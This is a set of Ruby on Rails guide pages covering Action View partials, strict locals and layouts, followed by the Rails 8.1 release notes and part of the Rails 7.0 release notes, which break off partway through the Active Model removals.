Each partial has a method called [local\_assigns](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Template.html#method-i-local_assigns) available. You can use this method to access keys passed via the `locals:` option. If a partial was not rendered with `:some_key` set, the value of `local_assigns[:some_key]` will be `nil` within the partial.

For example, `product_reviews` is `nil` in the below example since only `product` is set in `locals:`:

```
<%# app/views/products/show.html.erb %>

<%= render partial: "product", locals: { product: @product } %>

<%# app/views/products/_product.html.erb %>

<% local_assigns[:product]          # => "#<Product:0x0000000109ec5d10>" %>
<% local_assigns[:product_reviews]  # => nil %>
```

One use case for `local_assigns` is optionally passing in a local variable and then conditionally performing an action in the partial based on whether the local variable is set. For example:

```
<% if local_assigns[:redirect] %>
  <%= form.hidden_field :redirect, value: true %>
<% end %>
```

Another example from Active Storage's `_blob.html.erb`. This one sets the size based on whether `in_gallery` local variable is set when rendering the partial that contains this line:

```
<%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
```

### [4.5. `render` without `partial` and `locals` Options](#render-without-partial-and-locals-options)

In the above examples, `render` takes 2 options: `partial` and `locals`. But if these are the only options you need to use, you can skip the keys, `partial` and `locals`, and specify the values only.

For example, instead of:

```
<%= render partial: "product", locals: { product: @product } %>
```

You can write:

```
<%= render "product", product: @product %>
```

You can also use this shorthand based on conventions:

```
<%= render @product %>
```

This will look for a partial named `_product.html.erb` in `app/views/products/`, as well as pass a local named `product` set to the value `@product`.

### [4.6. The `as` and `object` Options](#the-as-and-object-options)

By default, objects passed to the template are in a local variable with the same name as the template. So, given:

```
<%= render @product %>
```

within the `_product.html.erb` partial you'll get `@product` instance variable in the local variable `product`, as if you had written:

```
<%= render partial: "product", locals: { product: @product } %>
```

The `object` option can be used to specify a different name. This is useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).

For example, instead of:

```
<%= render partial: "product", locals: { product: @item } %>
```

you can write:

```
<%= render partial: "product", object: @item %>
```

This assigns the instance variable `@item` to a partial local variable named `product`. What if you wanted to change the local variable name from the default `product` to something else? You can use the `:as` option for that.

With the `as` option, you can specify a different name for the local variable like this:

```
<%= render partial: "product", object: @item, as: "item" %>
```

This is equivalent to

```
<%= render partial: "product", locals: { item: @item } %>
```

### [4.7. Rendering Collections](#rendering-collections)

It's common for a view to iterate over a collection, such as `@products`, and render a partial template for each object in the collection. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.

So this example for rendering all the products:

```
<% @products.each do |product| %>
  <%= render partial: "product", locals: { product: product } %>
<% end %>
```

can be rewritten in a single line:

```
<%= render partial: "product", collection: @products %>
```

When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, since the partial is `_product.html.erb`, you can use `product` to refer to the collection member that is being rendered.

You can also use the following conventions based shorthand syntax for rendering collections.

```
<%= render @products %>
```

The above assumes that `@products` is a collection of `Product` instances. Rails uses naming conventions to determine the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.

### [4.8. Spacer Templates](#spacer-templates)

You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:

```
<%= render partial: @products, spacer_template: "product_ruler" %>
```

Rails will render the `_product_ruler.html.erb` partial (with no data passed to it) between each pair of `_product.html.erb` partials.

### [4.9. Counter Variables](#counter-variables)

Rails also makes a counter variable available within a partial called by the collection. The variable is named after the title of the partial followed by `_counter`. For example, when rendering a collection `@products` the partial `_product.html.erb` can access the variable `product_counter`. The variable indexes the number of times the partial has been rendered within the enclosing view, starting with a value of `0` on the first render.

```
<%# index.html.erb %>
<%= render partial: "product", collection: @products %>
```

```
<%# _product.html.erb %>
<%= product_counter %> # 0 for the first product, 1 for the second product...
```

This also works when the local variable name is changed using the `as:` option. So if you did `as: :item`, the counter variable would be `item_counter`.

When rendering collections with instances of different models, the counter variable increments for each partial, regardless of the class of the model being rendered.

Note: The following two sections, [Strict Locals](#strict-locals) and [Local Assigns with Pattern Matching](#local-assigns-with-pattern-matching) are more advanced features of using partials, included here for completeness.

### [4.10. `local_assigns` with Pattern Matching](#local-assigns-with-pattern-matching)

Since `local_assigns` is a `Hash`, it's compatible with [Ruby 3.1's pattern matching assignment operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):

```
local_assigns => { product:, **options }
product # => "#<Product:0x0000000109ec5d10>"
options # => {}
```

When keys other than `:product` are assigned into a partial-local `Hash` variable, they can be splatted into helper method calls:

```
<%# app/views/products/_product.html.erb %>

<% local_assigns => { product:, **options } %>

<%= tag.div id: dom_id(product), **options do %>
  <h1><%= product.name %></h1>
<% end %>

<%# app/views/products/show.html.erb %>

<%= render "products/product", product: @product, class: "card" %>
<%# => <div id="product_1" class="card">
  #      <h1>A widget</h1>
  #    </div>
%>
```

Pattern matching assignment also supports variable renaming:

```
local_assigns => { product: record }
product             # => "#<Product:0x0000000109ec5d10>"
record              # => "#<Product:0x0000000109ec5d10>"
product == record   # => true
```

You can also conditionally read a variable, then fall back to a default value when the key isn't part of the `locals:` options, using `fetch`:

```
<%# app/views/products/_product.html.erb %>

<% local_assigns.fetch(:related_products, []).each do |related_product| %>
  <%# ... %>
<% end %>
```

Combining Ruby 3.1's pattern matching assignment with calls to [Hash#with\_defaults](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-with_defaults) enables compact partial-local default variable assignments:

```
<%# app/views/products/_product.html.erb %>

<% local_assigns.with_defaults(related_products: []) => { product:, related_products: } %>

<%= tag.div id: dom_id(product) do %>
  <h1><%= product.name %></h1>

  <% related_products.each do |related_product| %>
    <%# ... %>
  <% end %>
<% end %>
```

### [4.11. Strict Locals](#strict-locals)

Action View partials are compiled into regular Ruby methods under the hood. Because it is impossible in Ruby to dynamically create local variables, every single combination of `locals` passed to a partial requires compiling another version:

```
<%# app/views/articles/show.html.erb %>
<%= render partial: "article", layout: "box", locals: { article: @article } %>
<%= render partial: "article", layout: "box", locals: { article: @article, theme: "dark" } %>
```

The above snippet will cause the partial to be compiled twice, taking more time and using more memory.

```
def _render_template_2323231_article_show(buffer, local_assigns, article:)
  # ...
end

def _render_template_3243454_article_show(buffer, local_assigns, article:, theme:)
  # ...
end
```

When the number of combinations is small, it's not really a problem, but if it's large it can waste a sizeable amount of memory and take a long time to compile. To counter act this you can use strict locals to define the compiled partial signature, and ensure only a single version of the partial is compiled:

```
<%# locals: (article:, theme: "light") -%>
...
```

You can enforce how many and which `locals` a template accepts, set default values, and more with a `locals:` signature, using the same syntax as Ruby method signatures.

Here are some examples of the `locals:` signature:

```
<%# app/views/messages/_message.html.erb %>

<%# locals: (message:) -%>
<%= message %>
```

The above makes `message` a required local variable. Rendering the partial without a `:message` local variable argument will raise an exception:

```
render "messages/message"
# => ActionView::Template::Error: missing local: :message for app/views/messages/_message.html.erb
```

If a default value is set then it can be used if `message` is not passed in `locals:`:

```
<%# app/views/messages/_message.html.erb %>

<%# locals: (message: "Hello, world!") -%>
<%= message %>
```

Rendering the partial without a `:message` local variable uses the default value set in the `locals:` signature:

```
render "messages/message"
# => "Hello, world!"
```

Rendering the partial with local variables not specified in the `local:` signature will also raise an exception:

```
render "messages/message", unknown_local: "will raise"
# => ActionView::Template::Error: unknown local: :unknown_local for app/views/messages/_message.html.erb
```

You can allow optional local variable arguments with the double splat `**` operator:

```

<%# app/views/messages/_message.html.erb %>

<%# locals: (message: "Hello, world!", **attributes) -%>
<%= tag.p(message, **attributes) %>
```

Or you can disable `locals` entirely by setting the `locals:` to empty `()`:

```
<%# app/views/messages/_message.html.erb %>

<%# locals: () %>
```

Rendering the partial with *any* local variable arguments will raise an exception:

```
render "messages/message", unknown_local: "will raise"
# => ActionView::Template::Error: no locals accepted for app/views/messages/_message.html.erb
```

Action View will process the `locals:` signature in any templating engine that supports `#`-prefixed comments, and will read the signature from any line in the partial.

Only keyword arguments are supported. Defining positional or block arguments will raise an Action View Error at render-time.

The `local_assigns` method does not contain default values specified in the `local:` signature. To access a local variable with a default value that is named the same as a reserved Ruby keyword, like `class` or `if`, the values can be accessed through `binding.local_variable_get`:

```
<%# locals: (class: "message") %>
<div class="<%= binding.local_variable_get(:class) %>">...</div>
```

## [5. Layouts](#layouts)

Layouts can be used to render a common view template around the results of Rails controller actions. A Rails application can have multiple layouts that pages can be rendered within.

For example, an application might have one layout for a logged in user and another for the marketing part of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. Different layouts can have a different header and footer content.

To find the layout for the current controller action, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `ProductsController` class will use `app/views/layouts/products.html.erb`.

Rails will use `app/views/layouts/application.html.erb` if a controller-specific layout does not exist.

Here is an example of a simple layout in `application.html.erb` file:

```
<!DOCTYPE html>
<html>
<head>
  <title><%= "Your Rails App" %></title>
  <%= csrf_meta_tags %>
  <%= csp_meta_tag %>
  <%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
  <%= javascript_importmap_tags %>
</head>
<body>

<nav>
  <ul>
    <li><%= link_to "Home", root_path %></li>
    <li><%= link_to "Products", products_path %></li>
    <!-- Additional navigation links here -->
  </ul>
</nav>

<%= yield %>

<footer>
  <p>&copy; <%= Date.current.year %> Your Company</p>
</footer>
```

In the above example layout, view content will be rendered in place of `<%= yield %>`, and surrounded by the same `<head>`, `<nav>`, and `<footer>` content.

Rails provides more ways to assign specific layouts to individual controllers and actions. You can learn more about layouts in general in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.

### [5.1. Partial Layouts](#partial-layouts)

Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.

Let's say you're displaying an article on a page which should be wrapped in a `div` for display purposes. First, you'll create a new `Article`:

```
Article.create(body: "Partial Layouts are cool!")
```

In the `show` template, you'll render the `_article` partial wrapped in the `box` layout:

```
<%# app/views/articles/show.html.erb %>
<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
```

The `box` layout simply wraps the `_article` partial in a `div`:

```
<%# app/views/articles/_box.html.erb %>
<div class="box">
  <%= yield %>
</div>
```

Note that the partial layout has access to the local `article` variable that was passed into the `render` call, although it is not being used within `_box.html.erb` in this case.

Unlike application-wide layouts, partial layouts still have the underscore prefix in their name.

You can also render a block of code within a partial layout instead of calling `yield`. For example, if you didn't have the `_article` partial, you could do this instead:

```
<%# app/views/articles/show.html.erb %>
<%= render(layout: 'box', locals: { article: @article }) do %>
  <div>
    <p><%= article.body %></p>
  </div>
<% end %>
```

Assuming you use the same `_box` partial from above, this would produce the same output as the previous example.

### [5.2. Collection with Partial Layouts](#collection-with-partial-layouts)

When rendering collections it is also possible to use the `:layout` option:

```
<%= render partial: "article", collection: @articles, layout: "special_layout" %>
```

The layout will be rendered together with the partial for each item in the collection. The current object and object\_counter variables, `article` and `article_counter` in the above example, will be available in the layout as well, the same way they are within the partial.

## [6. Helpers](#helpers)

Rails provides many helper methods to use with Action View. These include methods for:

* Formatting dates, strings and numbers
* Creating HTML links to images, videos, stylesheets, etc...
* Sanitizing content
* Creating forms
* Localizing content

You can learn more about helpers in the [Action View Helpers Guide](action_view_helpers.html) and the [Action View Form Helpers Guide](form_helpers.html).

## [7. Localized Views](#localized-views)

Action View has the ability to render different templates depending on the current locale.

For example, suppose you have an `ArticlesController` with a `show` action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then Action View will try to render the template `app/views/articles/show.de.html.erb` first. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.

You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.

See the [Internationalization (I18n)](i18n.html) guide for more details.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/8_1_release_notes.html
----

***

## [1. Upgrading to Rails 8.1](#upgrading-to-rails-8-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 8.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 8.1. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-8-0-to-rails-8-1) guide.

## [2. Major Features](#major-features)

### [2.1. Active Job Continuations](#active-job-continuations)

Long-running jobs can now be broken into discrete steps that allow execution to continue from the last completed step rather than the beginning after a restart. This is especially helpful when doing deploys with Kamal, which will only give job-running containers thirty seconds to shut down by default.

Example:

```
class ProcessImportJob < ApplicationJob
  include ActiveJob::Continuable

  def perform(import_id)
    @import = Import.find(import_id)

    # block format
    step :initialize do
      @import.initialize
    end

    # step with cursor, the cursor is saved when the job is interrupted
    step :process do |step|
      @import.records.find_each(start: step.cursor) do |record|
        record.process
        step.advance! from: record.id
      end
    end

    # method format
    step :finalize
  end

  private
    def finalize
      @import.finalize
    end
end
```

### [2.2. Structured Event Reporting](#structured-event-reporting)

The default logger in Rails is great for human consumption, but less ideal for post-processing. The new Event Reporter provides a unified interface for producing structured events in Rails applications:

```
Rails.event.notify("user.signup", user_id: 123, email: "user@example.com")
```

It supports adding tags to events:

```
Rails.event.tagged("graphql") do
  # Event includes tags: { graphql: true }
  Rails.event.notify("user.signup", user_id: 123, email: "user@example.com")
end
```

As well as context:

```
# All events will contain context: {request_id: "abc123", shop_id: 456}
Rails.event.set_context(request_id: "abc123", shop_id: 456)
```

Events are emitted to subscribers. Applications register subscribers to control how events are serialized and emitted. Subscribers must implement an `#emit` method, which receives the event hash:

```
class LogSubscriber
  def emit(event)
    payload = event[:payload].map { |key, value| "#{key}=#{value}" }.join(" ")
    source_location = event[:source_location]
    log = "[#{event[:name]}] #{payload} at #{source_location[:filepath]}:#{source_location[:lineno]}"
    Rails.logger.info(log)
  end
end
```

### [2.3. Local CI](#local-ci)

Developer machines have gotten incredibly quick with loads of cores, which make them great local runners of even relatively large test suites.

This makes getting rid of a cloud-setup for all of CI not just feasible but desirable for many small-to-mid-sized applications, and Rails has therefore added a default CI declaration DSL, which is defined in `config/ci.rb` and run by `bin/ci`. It looks like this:

```
CI.run do
  step "Setup", "bin/setup --skip-server"
  step "Style: Ruby", "bin/rubocop"

  step "Security: Gem audit", "bin/bundler-audit"
  step "Security: Importmap vulnerability audit", "bin/importmap audit"
  step "Security: Brakeman code analysis", "bin/brakeman --quiet --no-pager --exit-on-warn --exit-on-error"
  step "Tests: Rails", "bin/rails test"
  step "Tests: Seeds", "env RAILS_ENV=test bin/rails db:seed:replant"

  # Requires the `gh` CLI and `gh extension install basecamp/gh-signoff`.
  if success?
    step "Signoff: All systems go. Ready for merge and deploy.", "gh signoff"
  else
    failure "Signoff: CI failed. Do not merge or deploy.", "Fix the issues and try again."
  end
end
```

The optional integration with gh ensures that PRs must be signed off by a passing CI run in order to be eligible to be merged.

### [2.4. Markdown Rendering](#markdown-rendering)

Markdown has become the lingua franca of AI, and Rails has embraced this adoption by making it easier to respond to markdown requests and render them directly:

```
class Page
  def to_markdown
    body
  end
end

class PagesController < ActionController::Base
  def show
    @page = Page.find(params[:id])

    respond_to do |format|
      format.html
      format.md { render markdown: @page }
    end
  end
end
```

### [2.5. Command-line Credentials Fetching](#command-line-credentials-fetching)

Kamal can now easily grab its secrets from the encrypted Rails credentials store for deploys. This makes it a low-fi alternative to external secret stores that only needs the master key available to work:

```
# .kamal/secrets
KAMAL_REGISTRY_PASSWORD=$(rails credentials:fetch kamal.registry_password)
```

### [2.6. Deprecated Associations](#deprecated-associations)

Active Record associations can now be marked as being deprecated:

```
class Author < ApplicationRecord
  has_many :posts, deprecated: true
end
```

With that, usage of the `posts` association will be reported. This includes explicit API calls like

```
author.posts
author.posts = ...
```

and others, as well as indirect usage like

```
author.preload(:posts)
```

usage via nested attributes, and more.

Three reporting modes are supported (`:warn`, `:raise`, and `:notify`), and backtraces can be enabled or disabled, though you always get the location of the reported usage regardless. Defaults are `:warn` mode and disabled backtraces.

### [2.7. Registry-Free Kamal Deployments](#registry-free-kamal-deployments)

Kamal no longer needs a remote registry, like Docker Hub or GHCR, to do basic deploys. By default, Kamal 2.8 will now use a local registry for simple deploys. For large-scale deploys, you'll still want to use a remote registry, but this makes it easier to get started and see your first Hello World deployment in the wild.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `rails/console/methods.rb` file.

* Remove deprecated `bin/rake stats` command.

* Remove deprecated `STATS_DIRECTORIES`.

### [3.2. Deprecations](#railties-deprecations)

### [3.3. Notable changes](#railties-notable-changes)

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated support to skipping over leading brackets in parameter names in the parameter parser.

  Before:

  ```
  ActionDispatch::ParamBuilder.from_query_string("[foo]=bar") # => { "foo" => "bar" }
  ActionDispatch::ParamBuilder.from_query_string("[foo][bar]=baz") # => { "foo" => { "bar" => "baz" } }
  ```

  After:

  ```
  ActionDispatch::ParamBuilder.from_query_string("[foo]=bar") # => { "[foo]" => "bar" }
  ActionDispatch::ParamBuilder.from_query_string("[foo][bar]=baz") # => { "[foo]" => { "bar" => "baz" } }
  ```

* Remove deprecated support for using semicolons as a query string separator.

  Before:

  ```
  ActionDispatch::QueryParser.each_pair("foo=bar;baz=quux").to_a
  # => [["foo", "bar"], ["baz", "quux"]]
  ```

  After:

  ```
  ActionDispatch::QueryParser.each_pair("foo=bar;baz=quux").to_a
  # => [["foo", "bar;baz=quux"]]
  ```

* Remove deprecated support to a route to multiple paths.

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `Rails.application.config.action_dispatch.ignore_leading_brackets`.

### [5.3. Notable changes](#action-pack-notable-changes)

* Redirects are now verbose in development for new Rails apps. To enable it in an existing app, add `config.action_dispatch.verbose_redirect_logs = true` to your `config/development.rb` file.

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

### [6.2. Deprecations](#action-view-deprecations)

### [6.3. Notable changes](#action-view-notable-changes)

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

### [7.2. Deprecations](#action-mailer-deprecations)

### [7.3. Notable changes](#action-mailer-notable-changes)

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `:retries` option for the SQLite3 adapter.

* Remove deprecated `:unsigned_float` and `:unsigned_decimal` column methods for MySQL.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate using an [order dependent finder method](https://github.com/rails/rails/pull/54608) (e.g. `#first`) without an `order`.

* Deprecate `ActiveRecord::Base.signed_id_verifier_secret` in favor of `Rails.application.message_verifiers` (or `Model.signed_id_verifier` if the secret is specific to a model).

* Deprecate using `insert_all`/`upsert_all` with unpersisted records in associations.

* Deprecate usage of `WITH`, `WITH RECURSIVE` and `DISTINCT` with `update_all`.

### [8.3. Notable changes](#active-record-notable-changes)

* The table columns inside `schema.rb` are [now sorted alphabetically.](https://github.com/rails/rails/pull/53281)

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

* Remove deprecated `:azure` storage service.

### [9.2. Deprecations](#active-storage-deprecations)

### [9.3. Notable changes](#active-storage-notable-changes)

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated passing a Time object to `Time#since`.

* Remove deprecated `Benchmark.ms` method. It is now defined in the `benchmark` gem.

* Remove deprecated addition for `Time` instances with `ActiveSupport::TimeWithZone`.

* Remove deprecated support for `to_time` to preserve the system local time. It will now always preserve the receiver timezone.

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate `config.active_support.to_time_preserves_timezone`.

* Deprecate `String#mb_chars` and `ActiveSupport::Multibyte::Chars`.

* Deprecate `ActiveSupport::Configurable`.

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Remove support to set `ActiveJob::Base.enqueue_after_transaction_commit` to `:never`, `:always` and `:default`.

* Remove deprecated `Rails.application.config.active_job.enqueue_after_transaction_commit`.

* Remove deprecated internal `SuckerPunch` adapter in favor of the adapter included with the `sucker_punch` gem.

### [12.2. Deprecations](#active-job-deprecations)

* Custom Active Job serializers must have a public `#klass` method.

* Deprecate built-in `sidekiq` adapter (now provided by `sidekiq` gem).

### [12.3. Notable changes](#active-job-notable-changes)

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

### [14.2. Deprecations](#action-mailbox-deprecations)

### [14.3. Notable changes](#action-mailbox-notable-changes)

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-1-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/7_0_release_notes.html
----

***

## [1. Upgrading to Rails 7.0](#upgrading-to-rails-7-0)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 6.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 7.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-6-1-to-rails-7-0) guide.

## [2. Major Features](#major-features)

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `config` in `dbconsole`.

### [3.2. Deprecations](#railties-deprecations)

### [3.3. Notable changes](#railties-notable-changes)

* Sprockets is now an optional dependency

  The gem `rails` doesn't depend on `sprockets-rails` anymore. If your application still needs to use Sprockets, make sure to add `sprockets-rails` to your Gemfile.

  ```
  gem "sprockets-rails"
  ```

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated `ActionDispatch::Response.return_only_media_type_on_content_type`.

* Remove deprecated `Rails.config.action_dispatch.hosts_response_app`.

* Remove deprecated `ActionDispatch::SystemTestCase#host!`.

* Remove deprecated support to passing a path to `fixture_file_upload` relative to `fixture_path`.

### [5.2. Deprecations](#action-pack-deprecations)

### [5.3. Notable changes](#action-pack-notable-changes)

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated `Rails.config.action_view.raise_on_missing_translations`.

### [6.2. Deprecations](#action-view-deprecations)

### [6.3. Notable changes](#action-view-notable-changes)

* `button_to` infers HTTP verb \[method] from an Active Record object if object is used to build URL

  ```
  button_to("Do a POST", [:do_post_action, Workshop.find(1)])
  # Before
  #=>   <input type="hidden" name="_method" value="post" autocomplete="off" />
  # After
  #=>   <input type="hidden" name="_method" value="patch" autocomplete="off" />
  ```

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

* Remove deprecated `ActionMailer::DeliveryJob` and `ActionMailer::Parameterized::DeliveryJob` in favor of `ActionMailer::MailDeliveryJob`.

### [7.2. Deprecations](#action-mailer-deprecations)

### [7.3. Notable changes](#action-mailer-notable-changes)

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `database` kwarg from `connected_to`.

* Remove deprecated `ActiveRecord::Base.allow_unsafe_raw_sql`.

* Remove deprecated option `:spec_name` in the `configs_for` method.

* Remove deprecated support to YAML load `ActiveRecord::Base` instance in the Rails 4.2 and 4.1 formats.

* Remove deprecation warning when `:interval` column is used in PostgreSQL database.

  Now, interval columns will return `ActiveSupport::Duration` objects instead of strings.

  To keep the old behavior, you can add this line to your model:

  ```
  attribute :column, :string
  ```

* Remove deprecated support to resolve connection using `"primary"` as connection specification name.

* Remove deprecated support to quote `ActiveRecord::Base` objects.

* Remove deprecated support to type cast to database values `ActiveRecord::Base` objects.

* Remove deprecated support to pass a column to `type_cast`.

* Remove deprecated `DatabaseConfig#config` method.

* Remove deprecated rake tasks:

  * `db:schema:load_if_ruby`
  * `db:structure:dump`
  * `db:structure:load`
  * `db:structure:load_if_sql`
  * `db:structure:dump:#{name}`
  * `db:structure:load:#{name}`
  * `db:test:load_structure`
  * `db:test:load_structure:#{name}`

* Remove deprecated support to `Model.reorder(nil).first` to search using non-deterministic order.

* Remove deprecated `environment` and `name` arguments from `Tasks::DatabaseTasks.schema_up_to_date?`.

* Remove deprecated `Tasks::DatabaseTasks.dump_filename`.

* Remove deprecated `Tasks::DatabaseTasks.schema_file`.

* Remove deprecated `Tasks::DatabaseTasks.spec`.

* Remove deprecated `Tasks::DatabaseTasks.current_config`.

* Remove deprecated `ActiveRecord::Connection#allowed_index_name_length`.

* Remove deprecated `ActiveRecord::Connection#in_clause_length`.

* Remove deprecated `ActiveRecord::DatabaseConfigurations::DatabaseConfig#spec_name`.

* Remove deprecated `ActiveRecord::Base.connection_config`.

* Remove deprecated `ActiveRecord::Base.arel_attribute`.

* Remove deprecated `ActiveRecord::Base.configurations.default_hash`.

* Remove deprecated `ActiveRecord::Base.configurations.to_h`.

* Remove deprecated `ActiveRecord::Result#map!` and `ActiveRecord::Result#collect!`.

* Remove deprecated `ActiveRecord::Base#remove_connection`.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecated `Tasks::DatabaseTasks.schema_file_type`.

### [8.3. Notable changes](#active-record-notable-changes)

* Rollback transactions when the block returns earlier than expected.

  Before this change, when a transaction block returned early, the transaction would be committed.

  The problem is that timeouts triggered inside the transaction block was also making the incomplete transaction to be committed, so in order to avoid this mistake, the transaction block is rolled back.

* Merging conditions on the same column no longer maintain both conditions, and will be consistently replaced by the latter condition.

  ```
  # Rails 6.1 (IN clause is replaced by merger side equality condition)
  Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
  # Rails 6.1 (both conflict conditions exists, deprecated)
  Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => []
  # Rails 6.1 with rewhere to migrate to Rails 7.0's behavior
  Author.where(id: david.id..mary.id).merge(Author.where(id: bob), rewhere: true) # => [bob]
  # Rails 7.0 (same behavior with IN clause, mergee side condition is consistently replaced)
  Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
  Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => [bob]
  ```

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

### [9.2. Deprecations](#active-storage-deprecations)

### [9.3. Notable changes](#active-storage-notable-changes)

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-0-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

* Remove deprecated enumeration of `ActiveModel::Errors` instances as a Hash.

* Remove deprecated `ActiveModel::Errors#to_h`.

* Remove deprecated `ActiveModel::Errors#slice!`.

* Remove deprecated `ActiveModel::Errors#values`.

* Remove deprecated `ActiveModel::Errors#keys`.

* Remove deprecated `ActiveModel::Errors#to_xml`.

